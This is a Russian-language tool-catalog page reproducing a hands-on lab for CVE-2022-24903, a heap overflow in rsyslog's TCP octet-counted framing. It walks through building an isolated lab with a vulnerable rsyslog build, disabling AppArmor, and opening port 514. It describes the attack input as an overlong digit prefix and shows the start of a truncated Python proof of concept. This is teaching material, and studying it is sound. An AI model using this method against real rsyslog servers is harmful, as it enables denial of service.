Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Переполнение буфера в куче | Kitploit
Инструменты/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Анализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Переполнение буфера в куче

Репозиторий
82 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-24903: практическая лабораторная работа

Автор: Andrew Beshay Mousa

Практическая лабораторная работа, демонстрирующая уязвимость переполнения буфера в куче в rsyslog.

rsyslog CVE Type Protocol

Практическая среда для воспроизведения и изучения уязвимости переполнения буфера в куче в rsyslog (CVE-2022-24903) через кадрирование с подсчётом октетов при приёме TCP syslog.


Оглавление

  • Обзор
  • Архитектура лаборатории
  • Предварительные требования
  • Детали уязвимости
  • Настройка лаборатории
    • Целевая машина (Ubuntu)
    • Машина атакующего (Kali)
  • Эксплуатация
  • Проверка
  • Устранение неполадок
  • Меры по снижению риска
  • Ссылки

Обзор

CVE-2022-24903 — это уязвимость переполнения буфера в куче в модуле TCP-приёма syslog (imtcp) в rsyslog при использовании кадрирования с подсчётом октетов (RFC 5425).

Атакующий может отправить специально сформированное TCP-сообщение syslog с чрезмерно длинным префиксом подсчёта октетов, что заставит rsyslog записывать данные за пределами выделенного в куче буфера, что приведёт к отказу в обслуживании (DoS) или потенциальному повреждению памяти.

АтрибутЗначение
Идентификатор CVECVE-2022-24903
Затронутые версииrsyslog < 8.2204.1
ВекторСеть
Порт514/TCP
Модульimtcp (TCP-вход)
ВоздействиеDoS / повреждение кучи
Вероятность RCE?Нет (оценка вендора)

Архитектура лаборатории

+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

Требуемые виртуальные машины

ВМОСРольIPОЗУЦП
ЦелеваяUbuntu 22.04Уязвимый сервер rsyslog192.168.56.201 ГБ1
АтакующаяKali LinuxОтправитель эксплойта192.168.56.102 ГБ1

Примечание: В качестве целевой машины можно использовать любую версию Ubuntu (20.04, 22.04, 24.04). Главное — вручную установить уязвимый пакет rsyslog 8.2001.0 .deb.


Предварительные требования

  • VirtualBox или VMware Workstation
  • ISO-образ Ubuntu 22.04 (~2 ГБ)
  • ВМ Kali Linux (~4 ГБ)
  • Сеть Host-Only, настроенная в вашем гипервизоре
  • Базовые знания команд Linux и Python

Детали уязвимости

Что такое кадрирование с подсчётом октетов?

В TCP syslog (RFC 5425) сообщениям предшествует префикс с их длиной в байтах:

123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

Суть ошибки

В уязвимых версиях rsyslog парсер подсчёта октетов:

  1. Накопляет цифры в буфере кучи фиксированного размера
  2. Не проверяет границы буфера при записи цифр
  3. Продолжает записывать цифры даже после того, как счётчик октетов превышает максимально допустимое значение
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

Результат: Отправка 9999... (5000+ цифр) приводит к переполнению буфера в куче и повреждению соседней памяти.

Почему RCE затруднена

  • Переполнение ограничено только числовыми символами (0-9)
  • Парсер останавливается на первом нецифровом символе
  • Невозможно напрямую внедрить шелл-код
  • DoS гарантирован; RCE считается маловероятной по оценке вендора

Настройка лаборатории

Шаг 1: Настройка Host-Only сети

В вашем гипервизоре создайте сеть Host-Only:

  • Подсеть: 192.168.56.0/24
  • DHCP: Отключён (статические IP-адреса)

Подключите обе виртуальные машины к этой сети.


Шаг 2: Целевая машина (Ubuntu)

2.1 Установка статического IP-адреса

sudo nano /etc/netplan/00-installer-config.yaml

Вставьте следующее:

network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

Примените настройки:

sudo netplan apply

Проверьте:

ip addr show | grep 192.168.56.20

2.2 Остановка и удаление современной версии rsyslog

sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 Загрузка и установка уязвимой версии rsyslog

cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

Если вы получили ошибку блокировки dpkg:

sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

Проверьте версию:

rsyslogd -v | head -2

Ожидаемый вывод:

rsyslogd  8.2001.0

2.4 Отключение AppArmor (только для лаборатории)

AppArmor может препятствовать корректной работе rsyslog со старым пакетом:

sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 Настройка rsyslog для TCP-порта 514

sudo nano /etc/rsyslog.conf

Очистите файл и вставьте следующее:

module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 Открытие порта в межсетевом экране

sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 Запуск rsyslog

sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

Проверьте, что порт прослушивается:

sudo ss -tlnp | grep 514

Ожидаемый результат:

LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

Шаг 3: Машина атакующего (Kali)

3.1 Установка статического IP-адреса

sudo nano /etc/network/interfaces

Вставьте следующее:

auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

Или, если вы используете Netplan:

sudo nano /etc/netplan/01-netcfg.yaml
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
sudo netplan apply

3.2 Создание скрипта эксплойта

cd ~/Desktop
nano exploit.py

Вставьте следующее:

#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514
Скачать инструмент